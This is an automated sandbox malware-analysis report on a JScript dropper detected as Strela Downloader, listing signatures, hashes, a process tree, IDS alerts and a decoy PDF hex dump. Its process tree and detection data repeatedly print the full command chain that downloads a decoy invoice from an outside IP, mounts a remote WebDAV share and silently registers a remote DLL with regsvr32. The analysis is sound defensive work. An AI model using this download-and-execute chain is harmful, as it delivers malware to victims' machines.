Edit tour

Windows Analysis Report
183262889860027833.js

Overview

General Information

Sample name:	183262889860027833.js
Analysis ID:	1588796
MD5:	cf152a04dcc98c7063e6000106943ded
SHA1:	4bd1095fedb48263afe7d3ef7440009d40cf538c
SHA256:	718718c4e85bb5df0ab7bbcfe0ba64830d69a974373f83e53cf8b027e30b4682
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7592 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\183262889860027833.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7684 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\183351152124456.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7728 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7948 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8156 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6604 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1752,i,6687072143308074103,16853173319819469815,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7964 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 8040 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7308 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7592	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\183351152124456.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7684, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7728, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\183351152124456.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7684, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7728, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\183262889860027833.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\183262889860027833.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2592, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\183262889860027833.js", ProcessId: 7592, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 8040, Protocol: tcp, SourceIp: 192.168.2.11, SourceIsIpv6: false, SourcePort: 49730

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\183351152124456.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\183351152124456.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\183262889860027833.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7592, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\183351152124456.dll, ProcessId: 7684, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\183351152124456.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\183351152124456.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\183262889860027833.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7592, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\183351152124456.dll, ProcessId: 7684, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\183351152124456.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\183351152124456.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\183262889860027833.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7592, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\183351152124456.dll, ProcessId: 7684, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\183351152124456.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\183351152124456.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\183262889860027833.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7592, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\183351152124456.dll, ProcessId: 7684, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\183351152124456.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\183351152124456.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\183262889860027833.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7592, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\183351152124456.dll, ProcessId: 7684, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\183262889860027833.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\183262889860027833.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2592, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\183262889860027833.js", ProcessId: 7592, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\183351152124456.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7684, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7728, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7964, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8040, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7308, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7964, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8040, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\183351152124456.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\183351152124456.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\183262889860027833.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7592, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\183351152124456.dll, ProcessId: 7684, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:35:51.402687+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.11	49713	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:35:54.282956+0100	1810005	1	Potentially Bad Traffic	192.168.2.11	49730	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:35:51.402687+0100	1810000	2	Potentially Bad Traffic	192.168.2.11	49713	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 183262889860027833.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 183262889860027833.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.11:49730 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.11:49713 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:35:51 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49730

Source: global traffic

TCP traffic: 192.168.2.11:49730 -> 193.143.1.205:8888

